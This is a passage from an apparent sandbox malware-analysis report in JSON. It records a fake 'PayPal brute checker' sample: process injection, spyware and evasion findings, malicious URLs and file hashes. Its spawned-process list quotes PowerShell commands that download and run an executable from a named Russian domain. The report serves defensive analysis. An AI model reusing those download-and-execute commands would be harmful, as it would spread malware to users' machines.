bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\timeout.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Users\\%USERNAME%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Users\\%USERNAME%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Users\\%USERNAME%\\Download\\90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Handle: 136)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 88)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\SysWOW64\\wscript.exe\" (Handle: 760)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 32 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 52 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 4 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" wrote 8 bytes to a remote process \"C:\\Media\\Windows defender.exe\" (Handle: 584)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 32 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 52 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 4 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 8 bytes to a remote process \"C:\\Media\\e6ee5674bb9446c78bbc5729af6e2c28.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 32 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 52 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 4 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" wrote 8 bytes to a remote process \"C:\\Media\\WatchBull.exe\" (Handle: 840)"}],"origin":"API Call","attck_id":"T1055","capec_id":"CAPEC-242","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Network Related","identifier":"network-21","type":7,"relevance":10,"name":"Malicious artifacts seen in the context of a contacted host","description":"$45","description_v2":["Found malicious artifacts related to \"195.161.41.57\": ...","","URL: http://wwwexodus.io/ (AV positives: 1/66 scanned on 06/02/2019 03:05:06)","URL: https://wwwexodus.io/ (AV positives: 1/70 scanned on 06/02/2019 02:58:20)","URL: http://welcome39.ru/index.php/e4nepoiw03gief3btoc (AV positives: 6/66 scanned on 06/01/2019 21:38:36)","URL: http://welcome39.ru/index.php/11aahqvh8nvhbx (AV positives: 6/66 scanned on 06/01/2019 21:37:44)","URL: http://welcome39.ru/index.php/28ta7rn7zhmwpce (AV positives: 6/66 scanned on 06/01/2019 21:37:30)","File SHA256: 60d8cfdf250b5589ff59f00b264cccc72ef49a8be4b65c6fe071259d607b0fc4 (AV positives: 1/57 scanned on 06/01/2019 00:35:28)","File SHA256: 8aee7c572da774c0451c06529530792e34a517dc7f31d1ef54495b3351fd7792 (AV positives: 27/73 scanned on 05/31/2019 19:04:18)","File SHA256: 2fba474f2e0117d67b3ceaa06e5b2c684ca4ffdd83f2ec0c93af04c7fb492c18 (Date: 05/30/2019 07:00:28)","File SHA256: d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1 (Date: 05/30/2019 06:51:55)","File SHA256: 64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14 (Date: 05/25/2019 01:48:12)","File SHA256: e4aca690316f318231c6d4c4a913c0bc72f07558ca678521201a2b8796c3de3f (AV positives: 48/73 scanned on 05/24/2019 04:22:08)","File SHA256: 37435a8ec0f7afabf767e08c57f5d0fcd7fbf1aa7cb6eab24c4178bdc40ffe01 (AV positives: 43/71 scanned on 05/24/2019 09:00:04)","File SHA256: 44346752fd9eaca6adff266881f9cf9a893c8fca43e903638327fd736c1fec43 (Date: 05/04/2019 06:54:09)","File SHA256: f061620754a656fd8252e180a61df6896e44fb5922f2d91aec4de14733cb5714 (Date: 05/02/2019 04:32:22)","File SHA256: 38acb91da83e56be83ec9e7167e56dad2206f787063295a059956f93d42b9844 (AV positives: 48/73 scanned on 04/29/2019 14:39:43)","Found malicious artifacts related to \"216.239.34.21\": ...","","URL: http://engtoy.com/links/index.htm (AV positives: 7/70 scanned on 06/02/2019 02:38:09)","URL: http://cashat.pro/2013/04/sites-money.html (AV positives: 6/70 scanned on 06/02/2019 02:28:08)","URL: http://cashat.pro/2012/09/seo-optimized.html (AV positives: 7/70 scanned on 06/02/2019 02:25:08)","URL: http://narichkounlabvas.com/ (AV positives: 14/70 scanned on 06/02/2019 02:08:08)","URL: http://ungthuvomhong.com/2014/01/ung-thu-vom-hong-nhung-dau-hieu.html (AV positives: 2/66 scanned on 06/02/2019 01:46:36)","File SHA256: 626c48fc485f11caacc6e139636d7632d2ff529fe402d5f04f5a088a26849d85 (AV positives: 27/60 scanned on 06/01/2019 23:33:53)","File SHA256: 7da7df6b2ae25a2b32a494dacea2c51b02b173dcb020c79f4df47a92fb497274 (AV positives: 1/57 scanned on 06/01/2019 09:16:36)","File SHA256: f04c5ec2eae3c13bf6d127a15074a6436096d9fe8ac8159b24eb22b3afc23eec (AV positives: 56/72 scanned on 06/01/2019 21:25:56)","File SHA256: 18905aa4c0441ed003db23f378e928184839945ff38507a31c3b91f23de5ff2e (AV positives: 57/73 scanned on 06/01/2019 20:08:41)","File SHA256: 38bc877e5575b2647e968f2767b81040072c063ef9572111a89287349935f04b (AV positives: 1/73 scanned on 06/01/2019 11:39:02)","File SHA256: 83dbe08638688cbcf51fdda1027d86cb05fee204914b50b96d0672f549cf5a2f (Date: 05/31/2019 04:55:49)","File SHA256: fdba67156caf2c8b0f8f9f3df671634e086f2b9cc5f068d79cfbcdde9f5b21b7 (Date: 05/31/2019 04:54:00)","File SHA256: 37beb22bad6478a9c6b671803a8d7e75fefee0ed5d13d1447df1acc9e2a62e87 (Date: 05/31/2019 04:53:48)","File SHA256: 67e1841d5baf31df66f6ef1563527cc809ca4c20c71442c7f7263619ade8660f (Date: 05/24/2019 15:15:01)","File SHA256: d86762ff6b476a37191b87a99d66bf2d52f6863985bca5d6f7b7033186881ca9 (Date: 05/23/2019 09:58:39)"],"description_v3":[{"type":"text","value":"Found malicious artifacts related to \"195.161.41.57\": ..."},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"URL: http://wwwexodus.io/ (AV positives: 1/66 scanned on 06/02/2019 03:05:06)"},{"type":"linebreak"},{"type":"text","value":"URL: https://wwwexodus.io/ (AV positives: 1/70 scanned on 06/02/2019 02:58:20)"},{"type":"linebreak"},{"type":"text","value":"URL: http://welcome39.ru/index.php/e4nepoiw03gief3btoc (AV positives: 6/66 scanned on 06/01/2019 21:38:36)"},{"type":"linebreak"},{"type":"text","value":"URL: http://welcome39.ru/index.php/11aahqvh8nvhbx (AV positives: 6/66 scanned on 06/01/2019 21:37:44)"},{"type":"linebreak"},{"type":"text","value":"URL: http://welcome39.ru/index.php/28ta7rn7zhmwpce (AV positives: 6/66 scanned on 06/01/2019 21:37:30)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 60d8cfdf250b5589ff59f00b264cccc72ef49a8be4b65c6fe071259d607b0fc4 (AV positives: 1/57 scanned on 06/01/2019 00:35:28)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 8aee7c572da774c0451c06529530792e34a517dc7f31d1ef54495b3351fd7792 (AV positives: 27/73 scanned on 05/31/2019 19:04:18)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 2fba474f2e0117d67b3ceaa06e5b2c684ca4ffdd83f2ec0c93af04c7fb492c18 (Date: 05/30/2019 07:00:28)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1 (Date: 05/30/2019 06:51:55)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14 (Date: 05/25/2019 01:48:12)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: e4aca690316f318231c6d4c4a913c0bc72f07558ca678521201a2b8796c3de3f (AV positives: 48/73 scanned on 05/24/2019 04:22:08)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 37435a8ec0f7afabf767e08c57f5d0fcd7fbf1aa7cb6eab24c4178bdc40ffe01 (AV positives: 43/71 scanned on 05/24/2019 09:00:04)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 44346752fd9eaca6adff266881f9cf9a893c8fca43e903638327fd736c1fec43 (Date: 05/04/2019 06:54:09)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: f061620754a656fd8252e180a61df6896e44fb5922f2d91aec4de14733cb5714 (Date: 05/02/2019 04:32:22)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 38acb91da83e56be83ec9e7167e56dad2206f787063295a059956f93d42b9844 (AV positives: 48/73 scanned on 04/29/2019 14:39:43)"},{"type":"linebreak"},{"type":"text","value":"Found malicious artifacts related to \"216.239.34.21\": ..."},{"type":"linebreak"},{"type":"linebreak"},{"type":"text","value":"URL: http://engtoy.com/links/index.htm (AV positives: 7/70 scanned on 06/02/2019 02:38:09)"},{"type":"linebreak"},{"type":"text","value":"URL: http://cashat.pro/2013/04/sites-money.html (AV positives: 6/70 scanned on 06/02/2019 02:28:08)"},{"type":"linebreak"},{"type":"text","value":"URL: http://cashat.pro/2012/09/seo-optimized.html (AV positives: 7/70 scanned on 06/02/2019 02:25:08)"},{"type":"linebreak"},{"type":"text","value":"URL: http://narichkounlabvas.com/ (AV positives: 14/70 scanned on 06/02/2019 02:08:08)"},{"type":"linebreak"},{"type":"text","value":"URL: http://ungthuvomhong.com/2014/01/ung-thu-vom-hong-nhung-dau-hieu.html (AV positives: 2/66 scanned on 06/02/2019 01:46:36)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 626c48fc485f11caacc6e139636d7632d2ff529fe402d5f04f5a088a26849d85 (AV positives: 27/60 scanned on 06/01/2019 23:33:53)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 7da7df6b2ae25a2b32a494dacea2c51b02b173dcb020c79f4df47a92fb497274 (AV positives: 1/57 scanned on 06/01/2019 09:16:36)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: f04c5ec2eae3c13bf6d127a15074a6436096d9fe8ac8159b24eb22b3afc23eec (AV positives: 56/72 scanned on 06/01/2019 21:25:56)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 18905aa4c0441ed003db23f378e928184839945ff38507a31c3b91f23de5ff2e (AV positives: 57/73 scanned on 06/01/2019 20:08:41)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 38bc877e5575b2647e968f2767b81040072c063ef9572111a89287349935f04b (AV positives: 1/73 scanned on 06/01/2019 11:39:02)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 83dbe08638688cbcf51fdda1027d86cb05fee204914b50b96d0672f549cf5a2f (Date: 05/31/2019 04:55:49)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: fdba67156caf2c8b0f8f9f3df671634e086f2b9cc5f068d79cfbcdde9f5b21b7 (Date: 05/31/2019 04:54:00)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 37beb22bad6478a9c6b671803a8d7e75fefee0ed5d13d1447df1acc9e2a62e87 (Date: 05/31/2019 04:53:48)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: 67e1841d5baf31df66f6ef1563527cc809ca4c20c71442c7f7263619ade8660f (Date: 05/24/2019 15:15:01)"},{"type":"linebreak"},{"type":"text","value":"File SHA256: d86762ff6b476a37191b87a99d66bf2d52f6863985bca5d6f7b7033186881ca9 (Date: 05/23/2019 09:58:39)"}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Network Related","identifier":"network-24","type":7,"relevance":6,"name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","description_v2":["\"ipinfo.io\""],"description_v3":[{"type":"text","value":"\"ipinfo.io\""}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Unusual Characteristics","identifier":"stream-22","type":1,"relevance":5,"name":"Contains native function calls","description":"NtdllDefWindowProc_A@NTDLL.DLL at 00099061-00003552-22132-70-00401000\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-988-3F821F66\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-1025-3F8230FC\n NtdllDefWindowProc_W@NTDLL.DLL at 00099410-00003540-41033-1405-3F83A4F3\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3558-3F8C59A5\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3567-3F8C5DCA\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3569-3F8C61C1\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3573-3F8C687F\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3574-3F8C689C\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3577-3F8C6AC0\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3587-3F8C74EB\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3589-3F8C75F0\n NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3590-3F8C7978","description_v2":["NtdllDefWindowProc_A@NTDLL.DLL at 00099061-00003552-22132-70-00401000","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-988-3F821F66","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-1025-3F8230FC","NtdllDefWindowProc_W@NTDLL.DLL at 00099410-00003540-41033-1405-3F83A4F3","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3558-3F8C59A5","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3567-3F8C5DCA","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3569-3F8C61C1","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3573-3F8C687F","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3574-3F8C689C","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3577-3F8C6AC0","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3587-3F8C74EB","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3589-3F8C75F0","NtdllDialogWndProc_W@NTDLL.DLL at 00099410-00003540-41033-3590-3F8C7978"],"description_v3":[{"type":"text","value":"NtdllDefWindowProc_A@NTDLL.DLL"},{"type":"pid","pid":"00003552"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDefWindowProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"},{"type":"linebreak"},{"type":"text","value":"NtdllDialogWndProc_W@NTDLL.DLL"},{"type":"pid","pid":"00003540"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Unusual Characteristics","identifier":"target-14","type":9,"relevance":8,"name":"Spawns a lot of processes","description":"$46","description_v2":["Spawned process \"PayPalBrute_Checker.exe\" (UID: 00099061-00003552)","Spawned process \"PayPal.scr\" with commandline \"/S\" (UID: 00099374-00003980)","Spawned process \"PayPal brute?checker.exe\" (UID: 00099410-00003540)","Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\" (UID: 00099629-00002756)","Spawned process \"PayPal.exe\" (UID: 00099768-00003800)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"\" (UID: 00099783-00003796)","Spawned process \"loader.bat\" (UID: 00099794-00004056)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" (UID: 00099826-00003808)","Spawned process \"cmd.exe\" with commandline \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" (UID: 00100067-00003360)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" (UID: 00100099-00003764)","Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\" (UID: 00100348-00000320)","Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (UID: 00100415-00002736)","Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\" (UID: 00100726-00002996)","Spawned process \"Windows defender.exe\" (UID: 00100753-00001696)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" \"\" (UID: 00101239-00002600)","Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" (UID: 00101297-00001072)","Spawned process \"WatchBull.exe\" (UID: 00101338-00001632)","Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\" (UID: 00101353-00003544)","Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" (UID: 00101634-00002536)"],"description_v3":[{"type":"text","value":"Spawned process \"PayPalBrute_Checker.exe\""},{"type":"process","process_uid":"00099061-00003552","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal.scr\" with commandline \"/S\""},{"type":"process","process_uid":"00099374-00003980","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal brute?checker.exe\""},{"type":"process","process_uid":"00099410-00003540","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\""},{"type":"process","process_uid":"00099629-00002756","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal.exe\""},{"type":"process","process_uid":"00099768-00003800","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"\""},{"type":"process","process_uid":"00099783-00003796","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"loader.bat\""},{"type":"process","process_uid":"00099794-00004056","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\""},{"type":"process","process_uid":"00099826-00003808","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\""},{"type":"process","process_uid":"00100067-00003360","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\""},{"type":"process","process_uid":"00100099-00003764","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\""},{"type":"process","process_uid":"00100348-00000320","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\""},{"type":"process","process_uid":"00100415-00002736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\""},{"type":"process","process_uid":"00100726-00002996","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"Windows defender.exe\""},{"type":"process","process_uid":"00100753-00001696","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" \"\""},{"type":"process","process_uid":"00101239-00002600","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\""},{"type":"process","process_uid":"00101297-00001072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WatchBull.exe\""},{"type":"process","process_uid":"00101338-00001632","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\""},{"type":"process","process_uid":"00101353-00003544","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\""},{"type":"process","process_uid":"00101634-00002536","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null}],"detonation_parameters":{"action_script":"default","experimental_anti_evasion":true,"script_logging":true,"allow_sample_tampering":true,"network_mode":"tor","custom_system_date_time":null,"custom_commandline":null,"document_password":null,"document_password_exists":false,"environment_variable":null,"dynamic_analysis_time":170,"comment":null},"falcon_mal_query_results":[],"falcon_intelligence_data":null,"search_tags":[],"execution_mode":"KERNELMODE","monitor_script":"default.au3","monitor_script_description":"Default analysis","windows_version_name":"Windows 7","windows_version_edition":"Professional","windows_version_service_pack":"Service Pack 1","windows_version_version":"6.1 (build 7601)","windows_version_bitness":"64","custom_date_time":null,"sandbox_version":"8.30","report_generator_version":null,"signature_engine_version":null,"mitre_version":null,"office_analysis":false,"office_version":null,"incidents":[{"name":"Remote Access","details":["Reads terminal service related keys (often RDP related)"]},{"name":"Spyware","details":["Contains ability to open the clipboard","Contains ability to open the clipboard","Contains ability to retrieve keyboard strokes"]},{"name":"Persistence","details":["Writes data to a remote process","Spawns a lot of processes"]},{"name":"Fingerprint","details":["Queries kernel debugger information","Queries process information","Tries to identify its external IP address","Reads the cryptographic machine GUID","Reads the active computer name","Queries sensitive IE security settings"]},{"name":"Evasive","details":["Tries to sleep for a long time (more than two minutes)","Marks file for deletion","Possibly tries to evade analysis by sleeping many times"]},{"name":"Spreading","details":["Opens the MountPointManager (often used to detect additional infection locations)"]},{"name":"Network Behavior","details":["Contacts 2 domains and 2 hosts"]}],"icon":"$47","visualization":"$48","classification":["64.5% (.EXE) Win32 Executable MS Visual C++ (generic)","13.6% (.DLL) Win32 Dynamic Link Library (generic)","9.3% (.EXE) Win32 Executable (generic)","4.1% (.EXE) OS/2 Executable (generic)","4.1% (.EXE) Generic Win/DOS Executable"],"dns_requests":[{"compromised":true,"domain":"ipinfo.io","address":"216.239.34.21","ttl":213,"country":"United States","registrar_name":"http://www.nic.ac/go/whois/ipinfo.ac","registrar_organization":null,"registrar_name_servers":"ns-595.awsdns-10.net","registrar_creation_date":null,"who_is":[{"key":"Domain Name","value":"ipinfo.io"},{"key":"Expiration Date","value":"Fri, 23 Apr 2021 00:00:00 GMT"},{"key":"Name Server","value":"ns-595.awsdns-10.net"},{"key":"Name Server","value":"ns-2012.awsdns-59.co.uk"},{"key":"owner","value":"IDB LLC"},{"key":"Reigstrar","value":"http://www.nic.ac/go/whois/ipinfo.ac"},{"key":"Status","value":"Live"}],"associated_sha256s":[{"sha256":"b23ce7e5caa13f8bf56a406c4842a8e5126b73fc86d553fe1a58ca8475a8b173","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-31T07:03:56+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/b23ce7e5caa13f8bf56a406c4842a8e5126b73fc86d553fe1a58ca8475a8b173/"}},{"sha256":"83dbe08638688cbcf51fdda1027d86cb05fee204914b50b96d0672f549cf5a2f","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-31T04:55:49+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/83dbe08638688cbcf51fdda1027d86cb05fee204914b50b96d0672f549cf5a2f/"}},{"sha256":"a9ac35b3dafddd0a0ee8a6696e18bb7d65d3d8516e00cc3abeb761a9a679c5c6","verdict":"no 